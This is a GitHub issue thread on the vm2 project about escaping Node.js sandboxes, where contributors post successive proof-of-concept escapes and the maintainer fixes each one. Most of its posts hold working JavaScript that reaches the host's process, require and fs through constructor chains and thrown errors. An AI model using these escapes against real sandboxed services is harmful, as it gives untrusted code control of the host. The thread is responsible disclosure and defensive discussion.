New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Escaping the vm sandbox #32
Comments
Thanks for the report, I'm working hard on a new version of vm2 and I was able to fix this leak by creating context inside created context. Not sure if there's another way how to escape the sandbox, haven't found one yet. const context = vm.createContext(vm.runInNewContext("({})"));
const whatIsThis = vm.runInContext(`
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`, context); Tried to climb up but seems it's not possible since this is this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')() |
I've been playing with the approach you mention above. The first goal was to try and adapt your comment to allow me to pass things into the sandbox, which is necessary for my use case. Please correct me if this is the wrong way to go about this, but it seems like the only way: const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis); Outputs:
Next I tried again to escape the VM and was successful: const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
const ForeignFunction = log.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis); Which outputs:
It seems like there is no way to safely inject things into the sandbox without those things being used to climb back out of the sandbox. |
There is a way - objects needs to be contextified to VM's context. There're two ways how to do that. You can either deep clone those objects or you can use Proxies. I'm using Proxies in new vm2. https://github.com/patriksimek/vm2/tree/v3 I have pushed the upcoming release to GH. It is still work in progress but it should work. |
v3 is broken too: 'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
'log' : console.log,
},
});
vm.run(`
try {
log.__proto__ = null;
}
catch (e) {
const foreignFunction = e.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const fs = require("fs");
log(fs.statSync('.'));
}
`); It's kind of futile to play this game of whack-a-mole. |
@parasyte thanks, it was caused by a typo in my code. It's fixed now. |
Don't forget to catch exceptions. 'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
boom() {
throw new Error();
},
},
});
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
boom();
}
catch (e) {
exploit(e);
}
`); |
@parasyte thanks, fixed. I really appreciate your contributions. |
🚎 +1 |
@patriksimek nice one! I also have access to certain objects in global scope that I can leverage to break out of the contextified sandbox. This one doesn't even require passing any objects into the VM. 'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Reflect.construct = exploit;
new Buffer([0]);
`); |
@parasyte sheesh! There must be a plethora of vectors left to discover. |
@keyosk Yeah, probably... BTW @patriksimek the ES6 is much better than coffeescript! 👍 |
What about this one? 'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Object.assign = function (o) {
return {
'get' : function (t, k) {
try {
t = o.get(t, k);
exploit(t);
}
catch (e) {}
return t;
},
};
};
new Buffer([0]);
`); |
@parasyte nice catch, fixed that. Thanks. |
You opened a whole new can of worms in a recent patch. 'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
new Buffer();
}
catch (e) {
exploit(e);
}
`); |
Damn, I was working too late and lost focus. Wrote some security notes, primarily for me. :) Thanks, fixed. |
Well, I haven't even looked into Right away I noticed an escape via 'use strict';
const {NodeVM} = require('vm2');
const vm = new NodeVM();
vm.run(`
function getParent(o) {
return o.constructor.constructor('return this')();
}
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');
return o;
}
(function () {
exploit(getParent(getParent(arguments.callee.caller)));
})();
`); |
Well, this points us to the initial issue here - context created inside new context is not enough, obviously. Short version: vm.run(`
global.constructor.constructor('return this')().constructor.constructor('return process')()
`); Haven't found a solution yet. Maybe patching the host with |
Found a solution :-) |
Argh! You're catching on! ;) I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain). Now that you've overridden the function getParent(o) {
return o.__proto__.constructor.constructor('return this')();
} |
Made some research here and noticed that Thanks again. |
@parasyte @patriksimek is this closed on the latest npm published version? |
Yep, we can close this for now. |
FWIW, we solved this just by disabling #include <nan.h>
using v8::Local;
using v8::Context;
NAN_METHOD(enableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(true);
info.GetReturnValue().SetUndefined();
}
NAN_METHOD(disableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(false);
info.GetReturnValue().SetUndefined();
}
void Init(v8::Local<v8::Object> exports) {
exports->Set(Nan::New("enableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());
exports->Set(Nan::New("disableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}
NODE_MODULE(vm8, Init) This prevents the escape since the |
@parasyte Thanks. I am executing this code with Node from Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111 No other libraries ( |
@Anorov Ah I see. Are you worried that CloudFlare (or a MITM) will attempt to provide code that could break out of the sandbox? It would have to be a targeted attack, but I wouldn't rule it out entirely. |
Correct. Someone could also conceivably mimic the page I'm expecting so
that my script thinks it's Cloudflare when it isn't. I'm considering also
checking that the server's IP address is owned by Cloudflare as an
additional precaution.
But regardless, let's just assume this code were running on any arbitrary
user input and not just Cloudflare's. Is the sandboxing mechanism safe, to
the best of the Node community's knowledge?
…On Oct 2, 2017 10:10 PM, "Jay Oster" ***@***.***> wrote:
@Anorov <https://github.com/anorov> Ah I see. Are you worried that
CloudFlare (or a MITM) will attempt to provide code that could break out of
the sandbox? It would have to be a targeted attack, but I wouldn't rule it
out entirely.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#32 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8>
.
|
Absolutely not. The official documentation makes this very strong note:
|
I am aware of that warning, but I am asking about the practicality.
…On Oct 3, 2017 4:34 PM, "Cody Massin" ***@***.***> wrote:
@Anorov <https://github.com/anorov>:
Is the sandboxing mechanism safe, to the best of the Node community's
knowledge?
Absolutely not. The official documentation
<https://nodejs.org/api/vm.html#vm_vm_executing_javascript> makes this
very strong note:
Note: The vm module is not a security mechanism. Do not use it to run
untrusted code.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#32 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8>
.
|
In practice, the sandboxing mechanism is unsafe for untrusted code. That's why @patriksimek has attempted to create a safe sandboxing mechanism with the |
@Anorov In short, don't rely on |
I've been playing around with the vm and the suggested C++ code to disable eval from @parasyte . It works well, but using the vm in general comes with a pretty significant performance penalty. So we started experimenting with new Function(...). I'm using this construct:
This works too, and is much faster (over 1000 times faster in some test cases). In addition to disabling eval, I also prevent the userland code from containing a reference to 'global' (without this test, the function can modify the global scope using global.whatever). This appears to be an effective and secure sandbox. What am I missing? |
Does your strategy stop people from importing namespaces like fs and drastically modifying your servers? I'm also curious about the eval disabling, why all the worry about eval and not the worry about code outside eval? |
@wysisoft : Good question. Yes, 'require' is not exposed. Each script, as part of its meta-data, defines a list of "allowed and verified" modules that it needs, which are individually exposed to the function before it runs. To your point specifically, 'fs' would not be on that approved list (but for scripts that need temporary storage, a set of limited read/write functions are provided). Disabling 'eval' is key to stopping a number of exploits (see the comment from @parasyte on 18NOV16). Allowing 'eval' makes it possible to access the global scope in a way that cannot otherwise be prevented. More details in the comment from @parasyte on 1OCT17). |
@Eric24 I don't understand what's "slow" about @wysisoft |
@parasyte - I have a very simple test that creates a Function() and a VM with as close as possible to the same code for each, runs both 1000 times, and reports the total time required. Code below:
As you can see in the test, I'm creating the script and the context once, then running it 1000 times. However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context). Without recreating the context each time, the difference between the Function() and the VM is 6 to 14 times. But after taking a closer look, I tried a variation of the code (creating the context each time inside the loop), which is closer to the real use-case. I had originally timed the one-time creation of the context at just under 1ms, so I was including that on a per-iteration basis. But running the actual code showed the real culprit--while VM is still slower, the problem is not creating the context, but creating the 'ctx' object. That's quite a surprise. But creating a new object for the VM context will be needed each time through (although some variation of that will also be needed for Function(), so the difference between the two is back to the 6 to 14 times (which is still significant). |
Hmmm. I just tried another test:
Here, the 'ctx' object is recreated each time, in both tests, but the context is only created once. The time difference is back to the 6 to 14 range. But if I uncomment the line that recreates the context each time, were up to 144 times slower! |
@Eric24 You're doing what I said in my previous post. 😕 The solution to fix your performance problem is to call |
@parasyte : Hmmm. But doesn't new vm.Script() compile the code? In any case, I think to do what you're saying, the thing I should be caching is the reference to runInContext, so I'll only suffer the overhead the first time a script is called. Definitely worth considering. |
Nope. |
@parasyte : OK, but from the node.js docs: |
@Eric24 The documentation is kind of confusing. The associated code snippet gets "compiled" in the same sense that an interpreter compiles JavaScript into byte code. The JS is capable of executing via an interpreter after the In reality, the JIT compiler life cycle is more complex than that, since the code has to warm up before the JIT will even consider it for optimization. There's plenty of reading materials on the Internet if you're interested in the details. But to provide you with some hard data, here's the relevant source code for The The most important part of this C++ code is arguably the call to Hope that helps! |
@parasyte : Yes, that's helpful. Thanks! |
We are struggling with one implementation using vm2 sandbox. Can we call async code inside the vm2 sandbox? the reason is, we need to connect to a data source like Mysql from the sandbox of vm2? |
Yes you can async await inside the sandbox, what problems are you having?
Keep in mind if you are running untrusted code, you probably don’t want to
give full sql access to the sandbox. Instead, you probably want to add a
getdata() method to the sandbox That runs code outside the sandbox where
the actual SQL connection happens.
…On Tue, Oct 24, 2017 at 6:49 AM Rajagopal Somasundaram < ***@***.***> wrote:
We are struggling with one implementation using vm2 sandbox. Can we call
async code inside the vm2 sandbox? the reason is, we need to connect to a
data source like Mysql from the sandbox of vm2?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#32 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8>
.
|
@Eric24 mind sharing the 'new Function ()' alternative? Looks cleaner than the VM |
@platinumindustries : In the end, I actually don't recommend the "new Function()" alternative. We ended up staying with the VM approach, and focused on optimizing that code instead. What we have now works very well. I honestly can't recall exactly what pushed us in that direction, but I know there were several little things that ultimately crossed the "new Function()" approach off the list. |
Really sorry for jumping into an old thread.
@Eric24 I'm looking at how I might potentially run some arbitrary code using Right now the only way I can see to do this is to create a new context each time but this is really slow. I'm trying to figure out if I can reuse one context object but use some other mechanism to provide data to the code running inside the VM. @parasyte mentioned something about bidirectional communication using I was wondering if you ran into a similar problem and if you did, would you mind sharing some tips as to how you solved it? Thanks for your time. |
@darahayes : Actually, I am creating a new context for each run, but I don't find this slow at all. What kind of performance are you seeing vs. what you're expecting? And how are you measuring the performance? |
I am spinning up a fresh nodejs process for each run, and its not that bad, less than 100 ms of delay. |
It's possible to escape the VM and perform very undesirable actions.
Found via the following gist in relation to node's native VM: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0
Take the following 2 code examples:
and :
Running either of these outputs the following:
I've validated this behavior on both v4.4.5 and v6.2.1
The text was updated successfully, but these errors were encountered: